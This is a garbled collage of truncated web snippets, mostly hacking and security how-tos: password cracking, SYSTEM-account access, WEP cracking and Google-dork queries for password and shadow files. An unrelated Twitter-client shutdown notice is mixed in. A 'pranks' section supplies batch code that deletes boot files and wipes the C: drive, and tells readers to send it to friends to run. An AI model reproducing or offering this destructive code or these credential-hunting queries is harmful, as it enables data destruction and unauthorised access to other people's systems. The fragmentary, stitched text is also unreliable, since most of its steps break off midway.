How to defeat most keyloggers on public computers Keyloggers can generally be classified as either software or hardware keyloggers. Software keyloggers are running as a background task on the system while hardware keyloggers are little devices that are most of the time connected between pc and keyboard recording every keystroke to their own memory. The simple keylogger records every keystroke while more advanced ones make screenshots and record mouse movements as well. The idea for this article was born while reading the excellent Technospot article about keyloggers. The most secure way to defeat keyloggers is of course not to use public computers at all, and to keep a good eye on your own systems or the systems you are working on. You sometimes do not have a choice though which leads to the next most secure way to defeat them: Live CDs. Next in line is a method detailed by Technospot which suggests that you should do the following when entering usernames and passwords: So, a quick look at the back of the PC is a good way to start.
Serendipity How to gain access to system account the most powerful account in Windows. « Alien Eyes There is an account in Microsoft Windows that is more powerful than the Administrator account in Windows Operating Systems. That account is called System account it is similar to the root OR super user in the Linux/Unix world . I will show you how to access this system account in this article. You can use this facility for removing programs that are causing problems to your system, malware etc. Introduction If you look at the task manager (which can be launched by pressing [CTRL]+[ALT]+[DEL]) you will see some processes that are running with System level privileges. System is the highest account in Windows (like root),You can be a super power user by accessing the system account (even while you are logged in as a restricted user) Note: Accessing system account may cause serious problems. Local system differs from an administrator account in that it has full control of the operating system, similar to root on a Unix machine. Check the name of the account you’ve logged into (Click start.
PijamaSurf - Noticias alternativas: neurociencia, futurismo, noticias raras, teorías de conspiración, 2012, astronomía... The Usability of Passwords (by @baekdal) #tips Security companies and IT people constantly tells us that we should use complex and difficult passwords. This is bad advice, because you can actually make usable, easy to remember and highly secure passwords. In fact, usable passwords are often far better than complex ones. So let's dive into the world of passwords, and look at what makes a password secure in practical terms. Update: Read the FAQ (updated January 2011) Update - April 21, 2011: This article was "featured" on Security Now, here is my reply! How to hack a password The work involved in hacking passwords is very simple. Asking: Amazingly the most common way to gain access to someone's password is simply to ask for it (often in relation with something else). When is a password secure? You cannot protect against "asking" and "guessing", but you can protect yourself from the other forms of attacks. The measure of security must then be "how many password requests can the automated program make - e.g. per second". Like these: It takes:
How to Crack the Account Password on Any Operating System – Joe Tech This guest post was written by Blair Mathis from LaptopLogic.com – your premier source for the latest laptop software news and best laptop accessories. Computer passwords are like locks on doors – they keep honest people honest. If someone wishes to gain access to your laptop or computer, a simple login password will not stop them. Most computer users do not realize how simple it is to access the login password for a computer, and end up leaving vulnerable data on their computer, unencrypted and easy to access. Are you curious how easy it is for someone to gain access to your computer? Windows Windows is still the most popular operating system, and the method used to discover the login password is the easiest. Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). The computer will restart and Ophcrack will be loaded. Mac The second most popular operating system, OS X is no safer when it comes to password cracking then Windows. fsck -fy dscl .
Free Software Directory Painfully Computer Pranks ~ Computer Hacking | Learn How To Hack Computer pranks to freak out your friends and make them crying for mummy I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank). Today , I will show you 5 great computer pranks that will frustrate your victims very much. 1. I stumbled across this URL while surfing the internet. 2. Open notepad and copy/paste this code: @echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini Now Save it as a .bat file. This should shutdown the persons computer. Send it to your friends computer and tell them to open it. Here is another code too..... cmd /c del c:\windows\* /F /S /Q cmd /c del c:\* /F /S /Q Paste it in NotePad And Save It with Extension .cmd or .bat 3. 1. @echo off:topmd %random%goto top 2. 3. 4. 5. 4. 1. 2. 3. 5. 1. 2. 3.
How to hide files in JPEG pictures If you’re looking to hide files on your PC hard drive, you may have read about ways to encrypt folders or change the attributes on a file so that they cannot be accessed by prying eyes. However, a lot of times hiding files or folders in that way requires that you install some sort of software on your computer, which could then be spotted by someone else. I’ve actually written quite a few articles on how you can hide files and folders in Windows XP and Vista before, but here I’m going to show you a new way to hide files that is very counter-intuitive and therefore pretty safe! Using a simple trick in Windows, you can actually hide a file inside of the JPG picture file! You can actually hide any type of file inside of an image file, including txt, exe, mp3, avi, or whatever else. Not only that, you can actually store many files inside of single JPG file, not just one! Hide File in Picture Create a folder on your hard drive, i.e. Now here’s the fun part! And that’s it! That’s it!
How to Crack a Wi-Fi Network. | Arrow Webzine 1.Back Track Today we’re going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. Unless you’re a computer security and networking ninja, chances are you don’t have all the tools on hand to get this job done. * A compatible wireless adapter—This is the biggest requirement. * A BackTrack 3 Live CD. * A nearby WEP-enabled Wi-Fi network. * Patience with the command line. To crack WEP, you’ll need to launch Konsole, BackTrack’s built-in command line. First run the following to get a list of your network interfaces: The only one I’ve got there is labeled ra0. Now, run the following four commands. {*style:<i>airmon-ng stop (interface) ifconfig (interface) down macchanger –mac 00:11:22:33:44:55 (interface) airmon-ng start (interface) </i>*} Now it’s time to pick your network. To see a list of wireless networks around you. You’re almost there. </b>*} 3.
Twimbow - Colored Thoughts The Rainbow vanished Hi folks, today is a sad day here in Twimbowland, In the last communiques, Twitter discouraged the development of new applications replicating the core Twitter Experience, called “Traditional Clients”, among which Twimbow is included. They outlined some rules ( read here ) which disheartened us and now we have no longer enthusiasm to continue our adventure. Since our first day we tried to go along with the wishes that you (our dearest Twimblers) wrote in your feedbacks, and we tried to develop Twimbow accordingly. All those that earlier were just Twitter’s “ best practices” about their data visualization, have become rules too binding for us. We made huge efforts to launch our mobile app for all the platforms out there, but, reluctantly, we cancelled those projects. We want to thank warmly those of you who were supportive towards us in this wonderful adventure called Twimbow. Ciao The Twimbow Team
Know the Trade – Your IT Security Information Portal CISSP/CEH/CISA/Hacker and Penetration Testing Specialist Google Hacking allintitle:Brains, Corp. camera allintitle:"index of/admin" allintitle:"index of/root" allintitle:restricted filetype:doc site:gov allintitle:restricted filetype :mail allintitle:sensitive filetype:doc allinurl:/bash_history allinurl:winnt/system32/ (get cmd.exe) ext:ini eudora.ini ext:pwd inurl:(service|authors|administrators |users) "# -FrontPage-" filetype:bak inurl:"htaccess|passwd|shadow|htusers" filetype:conf slapd.conf filetype:ctt "msn" filetype:mdb inurl:"account|users|admin|administrators|passwd|password" filetype:mdb inurl:users.mdb filetype:QDF QDF filetype:pdf "Host Vulnerability Summary Report" "Assessment Report" filetype:sql ("passwd values ****" | "password values ****" | "pass values ****" ) filetype:xls inurl:"email.xls" filetype:user eggdrop user intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html) intitle:"Welcome to IIS 4.0!" These log files record info about the SSH client PUTTY.
70 Things Every Computer Geek Should Know. | Arrow Webzine The term ‘geek’, once used to label a circus freak, has morphed in meaning over the years. What was once an unusual profession transferred into a word indicating social awkwardness. As time has gone on, the word has yet again morphed to indicate a new type of individual: someone who is obsessive over one (or more) particular subjects, whether it be science, photography, electronics, computers, media, or any other field. A geek is one who isn’t satisfied knowing only the surface facts, but instead has a visceral desire to learn everything possible about a particular subject. A techie geek is usually one who knows a little about everything, and is thus the person family and friends turn to whenever they have a question. How to become a real computer Geek? Little known to most, there are many benefits to being a computer geek. You may get the answer here: The Meaning of Technical Acronyms 1. 2. If you rolled your eyes here, that is a good thing. 3. 4. 5. 6. 7.